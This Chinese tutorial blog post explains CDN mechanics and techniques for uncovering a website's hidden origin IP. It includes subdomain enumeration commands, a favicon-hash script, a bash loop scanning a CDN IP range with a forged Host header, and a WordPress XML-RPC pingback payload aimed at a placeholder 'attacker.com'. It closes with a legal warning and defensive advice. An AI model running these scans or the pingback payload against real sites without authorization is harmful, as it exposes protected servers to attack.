首页 > 其他分享 >【CDN安全】解析工作机制+CDN绕过技巧全解析

【CDN安全】解析工作机制+CDN绕过技巧全解析

时间:2024-08-30 19:14:27浏览次数:11  
标签:IP CDN DNS 绕过 解析 com 节点

一、CDN工作原理简析
    1.1 用户请求
    1.2 DNS解析到CDN节点
    1.3 CDN节点处理
    1.4 内容呈现 
    1.5 安全切入点 

二、绕过技巧大揭秘
    2.1 历史DNS记录挖掘
    2.2 子域名枚举+爆破
    2.3 邮件头分析大法
    2.4 SSL证书情报收集
    2.5 文件引用分析
    2.6 Favicon哈希碰撞
    2.7 敏感信息泄露
    2.8 CDN节点IP段扫描
    2.9 利用XML-RPC

三、总结

原创 VlangCN HW安全之路

随着网络安全意识的提升,越来越多的网站开始使用CDN来隐藏真实IP,增强安全性。
但作为渗透测试人员,我们有时需要直接与源站交互。
那么如何绕过CDN找到网站真实IP呢❓

一、CDN工作原理简析

在讲解绕过技巧前,我们先简单回顾下CDN的工作机制:

1.1 用户请求

用户输入网址,触发DNS查询
浏览器准备HTTP请求,建立TCP连接
发送HTTP/HTTPS请求

1.2 DNS解析到CDN节点

本地DNS逐级查询直到权威服务器
获得CDN的CNAME记录
CDN的DNS服务器进行智能解析
返回最优CDN节点IP

1.3 CDN节点处理

解析HTTP请求
检查多级缓存(内存、SSD、HDD)
缓存命中则返回内容
缓存未命中触发回源:
    与源站建立连接
    请求内容并接收响应
    处理响应,决定是否缓存
准备响应给用户

1.4 内容呈现

CDN节点发送HTTP响应
浏览器接收并处理响应
解析DOM,加载资源
渲染页面,执行脚本

1.5 安全切入点

DNS阶段:寻找未保护子域名,分析历史记录
路由阶段:构造特殊请求绕过CDN
缓存阶段:尝试缓存投毒,强制回源
回源阶段:HTTP请求走私,分析回源特征
响应阶段:识别CDN供应商,利用优化功能漏洞
客户端阶段:插入恶意代码,分析信息泄露

可以看到,CDN巧妙地隐藏了源站IP,增加了攻击难度。但天下无难事,只怕有心人。下面我们就来看看如何突破这层防护。

二、绕过技巧大揭秘

2.1 历史DNS记录挖掘

很多网站在迁移到CDN之前,A记录是直接指向源站IP的。我们可以借助一些在线工具来查询历史DNS记录:

SecurityTrails

https://securitytrails.com/ 

ViewDNS.info

https://viewdns.info/ 

使用示例:

$ curl -s "https://securitytrails.com/domain/example.com/history/a"

2.2 子域名枚举+爆破

有时某些子域名可能疏忽大意,忘记配置CDN。我们可以通过子域名枚举来碰碰运气:

工具推荐:

使用示例:

$ python sublist3r.py -d example.com
$ amass enum -d example.com

得到子域名列表后,可以用httpx等工具批量探测,看是否有直接暴露IP的。

2.3 邮件头分析大法

如果目标的邮件服务器和web服务器同IP,那邮件头中可能包含真实IP信息。

可以尝试:

注册账号,使用密码重置功能
给不存在的邮箱发邮件,触发退信

分析示例:

Received: from mail.example.com (203.0.113.1) by ...

2.4 SSL证书情报收集

有时候SSL证书中会意外包含真实IP。可以使用这些工具搜索:

Censys

https://censys.io/

Shodan

https://www.shodan.io/

2.5 文件引用分析

网站的静态资源(如js、css等)可能直接引用了源站IP。可以仔细检查网页源码,寻找类似:

<script src="http://203.0.113.1/main.js"></script>

2.6 Favicon哈希碰撞

网站图标的哈希值可以用来在Shodan等平台搜索相关IP。

使用Python脚本生成哈希:

import mmh3
import requests
import codecs

response = requests.get('https://example.com/favicon.ico')
favicon = codecs.encode(response.content, 'base64')
hash = mmh3.hash(favicon)
print(hash)

然后在Shodan搜索:

http.favicon.hash:123456789

2.7 敏感信息泄露

一些网站可能在某些页面不小心泄露了真实IP。可以尝试:

robots.txt
sitemap.xml
phpinfo页面
错误页面

2.8 CDN节点IP段扫描

这是一个比较暴力但有效的方法。步骤如下:

a) 确定目标使用的CDN提供商
b) 获取该CDN的IP段
c) 扫描IP段,结合Host头访问

示例脚本:

for ip in $(seq 1 254); do
  curl -H "Host: example.com" http://104.16.0.$ip
done

2.9 利用XML-RPC

如果目标是WordPress站点,可以尝试利用XML-RPC:

<?xml version="1.0" encoding="utf-8"?> 
<methodCall> 
<methodName>pingback.ping</methodName> 
<params>
 <param>
  <value><string>http://attacker.com/</string></value>
 </param>
 <param>
  <value><string>http://target.com/?p=1</string></value>
 </param>
</params>
</methodCall>

这可能触发目标服务器主动连接我们控制的服务器,暴露真实IP。

三、总结

以上就是一些常见的CDN绕过技巧。在实战中,往往需要组合多种方法才能见效。同时提醒大家,未经授权的测试可能违法,请谨慎行事。

最后,站在防守的角度,我们要:

确保所有子域名都配置了CDN
不在源站直接对外提供服务
使用独立的邮件服务器
仔细检查网站代码,避免IP泄露
对源站进行适当加固

标签:IP,CDN,DNS,绕过,解析,com,节点
From: https://www.cnblogs.com/o-O-oO/p/18389375

相关文章

  • 深入解析 C# 中的原型模式:从理论到实践
    在软件设计中,设计模式是一种帮助我们解决常见问题的通用方案。原型模式(PrototypePattern)作为创建型设计模式之一,通过复制已有的对象来生成新对象,而不是通过实例化类。这种模式在需要频繁创建对象的场景中非常有用,尤其是当对象的创建过程非常复杂时。本文将深入探讨原型模......
  • 出海浪头之上,共探CDN进化新支力
    CDN技术自问世以来已超过20个年头,在云计算与AI深度融合的大趋势下,各行业实际业务需求已发生巨变,下一代CDN技术又将走向何方?8月16日,“抓住泛娱热趋,打通增长脉络——大浪淘沙之后的CDN”技术沙龙活动在深圳圆满结束。阿里云专家与各企业代表,深入探索CDN技术变革之路,携手开启一场关于C......
  • 电科智慧通行系统前端绕过
    信息泄露通过对智慧通行个人中心中修改电话号码功能进行测试发现其响应包中存在信息泄露问题其中返回包中存在接口,管理人员等信息。后端未过滤可以通过burpsuite完成对于电话号码的任意修改绕过前端过滤。在前端修改电话号码会显示如下于是尝试在后端绕过,在加入其它字符时......
  • 出海浪头之上,共探CDN进化新支力
    CDN技术自问世以来已超过20个年头,在云计算与AI深度融合的大趋势下,各行业实际业务需求已发生巨变,下一代CDN技术又将走向何方?8月16日,“抓住泛娱热趋,打通增长脉络——大浪淘沙之后的CDN”技术沙龙活动在深圳圆满结束。阿里云专家与各企业代表,深入探索CDN技术变革之路,携手开启一场关于......
  • 深入解析 Spring Boot 中 MyBatis 自动配置的流程
    在SpringBoot项目中,自动配置是一个非常强大的功能,可以极大简化配置工作。本文将通过MyBatis的自动配置为例,详细解析SpringBoot自动配置的整个流程,包括从META-INF/spring.factories文件到mysql-connector-java依赖的引入,帮助大家更好地理解SpringBoot的自动配......
  • go语言DB通用查询实现解析
    用例funcTest018_QueryShop(t*testing.T){   vardbRequest=Default()   dbRequest.TableName="contact_shop"   dbRequest.SetPageSize(2).OrderByAsc("id")   dbRequest.FieldsName="id_10,id,name"   varresult=dbRequ......
  • c++解析xml文件实际应用(增删改查进阶)看完必会
    《c++解析xml文件(增删改查)看完必会》遍历xml所有节点下的数据已经在上一篇文章末尾写道,写法大同小异,资源下载也在上一篇提到,这里就不再提及,这篇博客主要是对上一篇基础知识的运用,如有疑问,可以call我XML解析类#include<iostream>#include<string>#include<string.h>#include......
  • 最新干货|互联网算法备案办理要点解析
    一、 算法备案的主体不同于欧盟的算法治理路径,算法主体责任机制是我国算法问责制的基础。原因在于,我国认为算法是开发者价值观的技术体现,因此可以穿透算法面纱将开发者的责任承担至于前线,对应承担算法安全主体责任,也即预设了算法设计的工具属性。《算法推荐规定》《深度合成......
  • CSP-J 2021 初赛试题解析(第三部分:完善程序(2))
    完善程序二完整程序代码#include<iostream>usingnamespacestd;structpoint{intx,y,id;};boolequals(pointa,pointb){returna.x==b.x&&a.y==b.y;}boolcmp(pointa,pointb){returna.x!=b.x?a.x<b.x:a.y<b.y;}......
  • Hive源码解析
    1.概述ApacheHive是一款建立在Hadoop之上的数据仓库工具,它提供了类似于SQL的查询语言,使得用户能够通过简单的SQL语句来处理和分析大规模的数据。本文将深入分析ApacheHive的源代码,探讨其关键组件和工作原理,以便更好地理解其在大数据处理中的角色。2.内容在开始源代码分析之前......